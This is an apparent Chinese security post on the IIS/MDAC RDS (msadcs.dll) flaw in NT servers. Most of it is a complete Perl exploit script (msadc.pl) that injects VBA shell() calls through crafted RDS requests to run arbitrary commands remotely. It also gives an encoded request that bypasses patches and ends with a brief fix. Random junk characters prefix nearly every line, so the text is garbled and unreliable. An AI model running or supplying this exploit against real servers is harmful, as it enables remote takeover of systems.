IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
{?cF2K# OwDwa~ 涉及程序:
(enOj0 Microsoft NT server
%bG\ ']^]z".H 描述:
@aB7dtM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"{bc2#F !b$~Sm) 详细:
Z#kB+.U 如果你没有时间读详细内容的话,就删除:
mSEX?so=[ c:\Program Files\Common Files\System\Msadc\msadcs.dll
LS-_GslE7\ 有关的安全问题就没有了。
F+D
e"^As e!k4Ij-] 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
M,r8 No u@Z6)r' 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
G]Im.x3O- 关于利用ODBC远程漏洞的描述,请参看:
vZqW,GDfXo hfvC-f97L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm au+:-Khm ]%G#x 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
[KW)z#`* http://www.microsoft.com/security/bulletins/MS99-025faq.asp e?GzvM'2 ^>fr+3a"P 这里不再论述。
3@0!]z^W *^Z -4 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
GJF
,w{J Pvm pWa /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
O^3XhTW^\~ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
aOUTKyR ~ *iSE)[W $>wN:uN( #将下面这段保存为txt文件,然后: "perl -x 文件名"
+
:b"0pu-H '+GYw$ #!perl
Nk$|nn9#' #
W=n
Hi\jLV # MSADC/RDS 'usage' (aka exploit) script
@cG+D #
*oh,Va # by rain.forest.puppy
>v1.Gm #
M pz9}[`3g # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ZpwFC7LW # beta test and find errors!
!<h-2YF<M XWB#7;,R use Socket; use Getopt::Std;
!xU\s'I+# getopts("e:vd:h:XR", \%args);
#=F{G4d)!= 8SupoS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
T.WN9=N (3j f_ if (!defined $args{h} && !defined $args{R}) {
BY$L[U;@T print qq~
I5Rd~-="G Usage: msadc.pl -h <host> { -d <delay> -X -v }
6>b#nFVJ -h <host> = host you want to scan (ip or domain)
)L"J?wTe -d <seconds> = delay between calls, default 1 second
qE6D"+1y7 -X = dump Index Server path table, if available
Z|3[Y@c\ -v = verbose
{{ 1qkG9$ -e = external dictionary file for step 5
zUWWXC%R YTfi g{a Or a -R will resume a command session
2H~E~6G :vFYqoCn ~; exit;}
@G|z_ T9>,Mx%D[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\rH0=~F-P if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@~i :8 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
WjvgDNk if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6x16?x $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
P
qa;fiJ) if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Rf{YASPIw& q9Lq+4\ if (!defined $args{R}){ $ret = &has_msadc;
V#~.n;d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&i*e&{L7 >ATccv print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#Xi9O. . "cmd /c ";
0"mr*hyj $in=<STDIN>; chomp $in;
]];LA!n $command="cmd /c " . $in ;
IKp/xj[! mU>lm7' if (defined $args{R}) {&load; exit;}
78IY&q:v&0 ]1q`N7 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#V@vz#bo= &try_btcustmr;
fDChq[LAn T>5N$i print "\nStep 2: Trying to make our own DSN...";
Et&PzDvU &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Ol8Yf.e_ LiEDTXRz print "\nStep 3: Trying known DSNs...";
W;F=7[h &known_dsn;
J2!)%mF$ c
<X( S print "\nStep 4: Trying known .mdbs...";
[3v&j_ &known_mdb;
OXV9D:bIa G~f|Sx if (defined $args{e}){
?oU5H print "\nStep 5: Trying dictionary of DSN names...";
NV\{$*j(|J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
6MQyr2c v;s^j print "Sorry Charley...maybe next time?\n";
C]krJse@ exit;
sQO>1bh yk2XfY ##############################################################################
W: 3fLXk+
&/)To sub sendraw { # ripped and modded from whisker
o4YF,c+>q sleep($delay); # it's a DoS on the server! At least on mine...
ii ^Nxnc= my ($pstr)=@_;
$KsB'BZy socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8y]{I^z} die("Socket problems\n");
Lv-M. if(connect(S,pack "SnA4x8",2,80,$target)){
~W_T3@ select(S); $|=1;
Tqx print $pstr; my @in=<S>;
<,&t}7M/: select(STDOUT); close(S);
2bOFH6g return @in;
J>+~//C } else { die("Can't connect...\n"); }}
zHXb[$Q pH396GFIW ##############################################################################
4BJ w+EV8 oK2j PP sub make_header { # make the HTTP request
J+qcA} my $msadc=<<EOT
Nbt.y 'd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M{X; H'2 User-Agent: ACTIVEDATA
4` :Eiik&p Host: $ip
#D%l;Ae Content-Length: $clen
n7bML?f' Connection: Keep-Alive
"]yfx@)_ IG4`f~k^ ADCClientVersion:01.06
(usPAslr Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
LP}'upv ({hW --!ADM!ROX!YOUR!WORLD!
S"R(6:hkgu Content-Type: application/x-varg
KY9@2JG Content-Length: $reqlen
&hIr@Gi@ch ;@< e ]Ft EOT
_TVKvRh ; $msadc=~s/\n/\r\n/g;
if+97^Oy return $msadc;}
b2hXFwPe lkb,UL;V ##############################################################################
h?vt6t9 FivqyT7i sub make_req { # make the RDS request
|p*s:*TJp my ($switch, $p1, $p2)=@_;
X>eFGCz}I my $req=""; my $t1, $t2, $query, $dsn;
]mx1djNA Gyy?cn6_ if ($switch==1){ # this is the btcustmr.mdb query
Yo,n#<37 $query="Select * from Customers where City=" . make_shell();
h:r:qk $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
f|{&Y2h(R $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
kp,$ NfD b25C[C5C elsif ($switch==2){ # this is general make table query
ynZfO2kf $query="create table AZZ (B int, C varchar(10))";
dK7BjZTJo $dsn="$p1";}
d-B,)$zE Z:>ek>Op elsif ($switch==3){ # this is general exploit table query
j$r2=~1 $query="select * from AZZ where C=" . make_shell();
8/W2;>?wKc $dsn="$p1";}
[f`7+RHrd ;_A?Zl} elsif ($switch==4){ # attempt to hork file info from index server
et@<MU@` $query="select path from scope()";
:Mq{ES% $dsn="Provider=MSIDXS;";}
Uq(fk9`6 TL: 6Pe elsif ($switch==5){ # bad query
R(GL{Dh}L $query="select";
$kY ]HI $dsn="$p1";}
\C"hL(4- BB? 4>#D $t1= make_unicode($query);
Pq3|O
Z $t2= make_unicode($dsn);
1-8G2e $req = "\x02\x00\x03\x00";
*NoixV1> $req.= "\x08\x00" . pack ("S1", length($t1));
w*gG1BV $req.= "\x00\x00" . $t1 ;
XK/bE35%^! $req.= "\x08\x00" . pack ("S1", length($t2));
b4>1UZGW- $req.= "\x00\x00" . $t2 ;
Url8&.pw $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*^p^tK return $req;}
d{(NeT s LDj*~\vsq ##############################################################################
BSyS
DM }}zY]A sub make_shell { # this makes the shell() statement
"?s return "'|shell(\"$command\")|'";}
@"/:Omh RFLw)IWkL_ ##############################################################################
G`,M?lmL A{ . A1 sub make_unicode { # quick little function to convert to unicode
`~2I my ($in)=@_; my $out;
mh,a}bX{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
M)sAMfuUw return $out;}
r!/<%\S "_n})s
f ##############################################################################
<!derr-K I$oqFF|D sub rdo_success { # checks for RDO return success (this is kludge)
Pr#uV3\ my (@in) = @_; my $base=content_start(@in);
}EN-WDJD\ if($in[$base]=~/multipart\/mixed/){
!OMl-:KUzE return 1 if( $in[$base+10]=~/^\x09\x00/ );}
/2:s g1 return 0;}
1( rN $[+)N~ ##############################################################################
G/yYIs Z8\/Fb sub make_dsn { # this makes a DSN for us
G)&S%R!i\N my @drives=("c","d","e","f");
Gw+pjSJL` print "\nMaking DSN: ";
";
mlQyP foreach $drive (@drives) {
F??gVa aj print "$drive: ";
9rgvwko my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!iU$-/,1 e "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
lF3wTf/j . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
1n~^@f#` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#:tC^7qk return 0 if $2 eq "404"; # not found/doesn't exist
Dh)(?"^9A if($2 eq "200") {
REJHh\:.77 foreach $line (@results) {
#bGYd}BfD return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
WUGFo$xA } return 0;}
8Bx58$xRq b-YmS=* ##############################################################################
gm7 [m} $dF$-y<[0 sub verify_exists {
Z~ u3{ my ($page)=@_;
fY!9i5@' my @results=sendraw("GET $page HTTP/1.0\n\n");
cs*"9nKl return $results[0];}
c2:oM<6| +w8$-eFY ##############################################################################
n {..Q,z tiF-lq sub try_btcustmr {
FM<`\d' my @drives=("c","d","e","f");
?{wD%58^oG my @dirs=("winnt","winnt35","winnt351","win","windows");
?vmoRX ;e6-* foreach $dir (@dirs) {
__`6 W1 print "$dir -> "; # fun status so you can see progress
S%df'bh$ foreach $drive (@drives) {
q5\iQ2f{WV print "$drive: "; # ditto
#E#Fk3-ljQ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
!k!1h%7q $reqlenlen=length( "$reqlen" );
F[]6U/g n $clen= 206 + $reqlenlen + $reqlen;
>YR2h/S d^d+8R my @results=sendraw(make_header() . make_req(1,$drive,$dir));
M# cJ&+rP if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
gPIl:, d( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
m[s$) -T DC2[g9S>8@ ##############################################################################
6bT>x5? ?vQ:z{BO sub odbc_error {
ZNJ<@K- my (@in)=@_; my $base;
OOnhT my $base = content_start(@in);
zEYQZywc if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
HSEz20s $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-!IeP]n#P $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t)4]2z)$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yacN=]SW5 return $in[$base+4].$in[$base+5].$in[$base+6];}
R]4
h)" print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
~"r(PCa@ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>S]"-0tGD= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
D+{&zo ~#7uNH2 ##############################################################################
H/ar:j z&CBjlh sub verbose {
VXl|AA<OG my ($in)=@_;
t\f[->f return if !$verbose;
v[O?7Np print STDOUT "\n$in\n";}
-@.FnFa `bF4/iBW ##############################################################################
0U?(EJ Y)D F.ca( sub save {
\4>& zb4 my ($p1, $p2, $p3, $p4)=@_;
>.-4CJ])d open(OUT, ">rds.save") || print "Problem saving parameters...\n";
A+(+PfU print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
DSlO.)dHu close OUT;}
g-4ab|F 'l_F@ZO{( ##############################################################################
12tk$FcY8* $4hi D;n sub load {
NKl`IiGv my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0/uy'JvWru open(IN,"<rds.save") || die("Couldn't open rds.save\n");
v1=N?8Hz1 @p=<IN>; close(IN);
W=Mdh}u_I $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
bZpx61h| $target= inet_aton($ip) || die("inet_aton problems");
8L5O5F' print "Resuming to $ip ...";
gObafIA $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K|=va> if($p[1]==1) {
jtgj h\Nt $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~U5Tn3'~ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
8\p"V.o> my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!\cVe;<r if (rdo_success(@results)){print "Success!\n";}
Vze vOS else { print "failed\n"; verbose(odbc_error(@results));}}
S_38U elsif ($p[1]==3){
dF*M"|[ if(run_query("$p[3]")){
X XxH<E$p print "Success!\n";} else { print "failed\n"; }}
g @NwW& elsif ($p[1]==4){
w!-MMT4y if(run_query($drvst . "$p[3]")){
C9*[/| T print "Success!\n"; } else { print "failed\n"; }}
,h<xY> exit;}
pUa\YO1J Y++n0sK5< ##############################################################################
ll*Ez"
}:(;mW8
D sub create_table {
X$_pDF&\z my ($in)=@_;
S3&n?\CO: $reqlen=length( make_req(2,$in,"") ) - 28;
FsS.9
`B $reqlenlen=length( "$reqlen" );
U65oh8x $clen= 206 + $reqlenlen + $reqlen;
V!NRBXg my @results=sendraw(make_header() . make_req(2,$in,""));
wLNkXC return 1 if rdo_success(@results);
?} lqu7S my $temp= odbc_error(@results); verbose($temp);
L
nyow} return 1 if $temp=~/Table 'AZZ' already exists/;
Pk=0pHH8q return 0;}
h.kjJF U5p 3b; ##############################################################################
`uC^"R(m JF=T_SH^U sub known_dsn {
z<gII~% # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
TeFi[1 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
4gZ)9ya "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\["I.gQ "banner", "banners", "ads", "ADCDemo", "ADCTest");
Wl}J= ;te( {u+ foreach $dSn (@dsns) {
0[ (kFe print ".";
D[)_
f next if (!is_access("DSN=$dSn"));
N:~4>p44[ if(create_table("DSN=$dSn")){
'*^9'= print "$dSn successful\n";
}KT$J G? if(run_query("DSN=$dSn")){
UhJ!7Ws$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E&f/*V^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
PcI~,e%
V Ds0+RC ##############################################################################
7spZe" 4*HBCzr7[ sub is_access {
N6> rU my ($in)=@_;
n3j_=( $reqlen=length( make_req(5,$in,"") ) - 28;
u=Xpu,q $reqlenlen=length( "$reqlen" );
P"o|kRO $clen= 206 + $reqlenlen + $reqlen;
*$Zy|&[Z my @results=sendraw(make_header() . make_req(5,$in,""));
+O^} t my $temp= odbc_error(@results);
u?F.%j- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
AnK X4Q return 0;}
oDayfyy4y) .&I!2F ##############################################################################
b_7LSp ~(B%E' sub run_query {
"=LeHY=9 my ($in)=@_;
KtArV $reqlen=length( make_req(3,$in,"") ) - 28;
HZ1 nuA $reqlenlen=length( "$reqlen" );
MhJA8|B6| $clen= 206 + $reqlenlen + $reqlen;
5sNN:m my @results=sendraw(make_header() . make_req(3,$in,""));
"c.-`1,t return 1 if rdo_success(@results);
|~&cTDd my $temp= odbc_error(@results); verbose($temp);
db&!t!#, return 0;}
\S&OAe/b %(]B1Zg6, ##############################################################################
?bg
/%o zKp R:F sub known_mdb {
& eqqgLz my @drives=("c","d","e","f","g");
w9n0p0xr< my @dirs=("winnt","winnt35","winnt351","win","windows");
T(Bcp^N my $dir, $drive, $mdb;
J'tJY% ` my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T#i~/ <":83RCS # this is sparse, because I don't know of many
.gt;:8fw{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
<j/wK]d*/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
q=-h#IF^ "\\system32\\certmdb.mdb",
6ND*L0 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
;mC|>wSZ *`LrvE@t my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
JSmg6l?[u "\\cfusion\\cfapps\\forums\\forums_.mdb",
Ql9>i;AGV "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
+KWO`WR "\\cfusion\\cfapps\\security\\realm_.mdb",
2
/*z5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
H!Dj.]T "\\cfusion\\database\\cfexamples.mdb",
'Gamb+[ "\\cfusion\\database\\cfsnippets.mdb",
D7muf "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
H328I}7 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ivB,s5< "\\cfusion\\brighttiger\\database\\cleam.mdb",
t=|}?lN< "\\cfusion\\database\\smpolicy.mdb",
gZBKe!@a| "\\cfusion\\database\cypress.mdb",
]7oo`KcQ| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?GqH/
(O "\\website\\cgi-win\\dbsample.mdb",
$yq76 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.}T- R? "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
DtJ3`Jd ); #these are just
yE(<F2 foreach $drive (@drives) {
f2&6NC; foreach $dir (@dirs){
5.DmMG[T^= foreach $mdb (@sysmdbs) {
2%J] })
print ".";
xxr'g = if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
\RRSrPLd- print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
pp(?rE$S if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
.J8 gW print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
0AF,} &$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
:Nwv&+ ` N
R,8F foreach $drive (@drives) {
Q7{{r&|t& foreach $mdb (@mdbs) {
s,kY12<7m print ".";
p=#/H,2 if(create_table($drv . $drive . $dir . $mdb)){
b5I 8jPj4c print "\n" . $drive . $dir . $mdb . " successful\n";
gm=C0Sp? if(run_query($drv . $drive . $dir . $mdb)){
wy{sS} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
:ln?PT
} else { print "Something's borked. Use verbose next time\n"; }}}}
R3.w")6 }
f`_{SU"3 f9
:=6 ##############################################################################
w'XSkI_ay a>9_#_hI sub hork_idx {
<:T/hm$ print "\nAttempting to dump Index Server tables...\n";
[>\e@ = print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
adRIg:2 $reqlen=length( make_req(4,"","") ) - 28;
c5:0`~5Fn $reqlenlen=length( "$reqlen" );
!%DE(E*'(
$clen= 206 + $reqlenlen + $reqlen;
_n{_\/A6f my @results=sendraw2(make_header() . make_req(4,"",""));
UEt78eN if (rdo_success(@results)){
EyA(W;r. my $max=@results; my $c; my %d;
qR_Np5nHF for($c=19; $c<$max; $c++){
}Kp$/CYd $results[$c]=~s/\x00//g;
bg_io* K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Iza;~8dH5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
SGba6b31 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
{P\Ob0)q $d{"$1$2"}="";}
{K}Dpy foreach $c (keys %d){ print "$c\n"; }
;!lwB } else {print "Index server doesn't seem to be installed.\n"; }}
bv7xh*/ '.8eLN ##############################################################################
1?3+> #W
l^!)#j? sub dsn_dict {
%_CL/H
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
.Cs'@[Ciy while(<IN>){
b$_qG6)IJO $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
O '`|(L next if (!is_access("DSN=$dSn"));
%++S;#)~ if(create_table("DSN=$dSn")){
Da!vGr print "$dSn successful\n";
q8.Z7ux if(run_query("DSN=$dSn")){
.F2"tt?' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L{l}G,j< print "Something's borked. Use verbose next time\n";}}}
cKOXsdH?SL print "\n"; close(IN);}
/u`Opv&I <P&X0S`O ##############################################################################
W$&*i1<a+ Ag*?>I sub sendraw2 { # ripped and modded from whisker
?I:_FT sleep($delay); # it's a DoS on the server! At least on mine...
Ey%[t my ($pstr)=@_;
.sOZ "=tW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
m=v.<+> die("Socket problems\n");
c&aqN\'4" if(connect(S,pack "SnA4x8",2,80,$target)){
4:733Q3oK print "Connected. Getting data";
i_+e&Bjd4j open(OUT,">raw.out"); my @in;
vRD(* S9^ select(S); $|=1; print $pstr;
VS>hi~j while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
o1b.a*SZ close(OUT); select(STDOUT); close(S); return @in;
0(9gTxdB } else { die("Can't connect...\n"); }}
Xc^(e?L4 m^0 I3; ##############################################################################
C8YStT t6kLZ sub content_start { # this will take in the server headers
TDy)A2Z my (@in)=@_; my $c;
)56L`5#tS for ($c=1;$c<500;$c++) {
e6qIC*C ! if($in[$c] =~/^\x0d\x0a/){
rg#/kd<?[V if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
zQt)>Qx_ else { return $c+1; }}}
!{ _:k%B return -1;} # it should never get here actually
AW9%E/{ DT6BFx ##############################################################################
rM6S%rS {{[@ X sub funky {
!=yO72dgLY my (@in)=@_; my $error=odbc_error(@in);
) te_ <W if($error=~/ADO could not find the specified provider/){
UfV {m
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
QwF.c28[ exit;}
p]Qe5@NT if($error=~/A Handler is required/){
a9_2b}t print "\nServer has custom handler filters (they most likely are patched)\n";
e8egxm exit;}
p)"EenUK if($error=~/specified Handler has denied Access/){
u:J4Az^! print "\nServer has custom handler filters (they most likely are patched)\n";
6W7,EIf exit;}}
: 0Y.${h #)#'^MZX ##############################################################################
2t ;A*sub sub has_msadc {
.>PwbZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
^YfAsBs& my $base=content_start(@results);
3/&
|Z<f return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Z/v )^VR return 0;}
?qn4ea-\P 5H 1x-b ########################
@y0kX<M LW("/ {_z6 解决方案:
m}: X\G(6Q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
d~QJ}a 2、移除web 目录: /msadc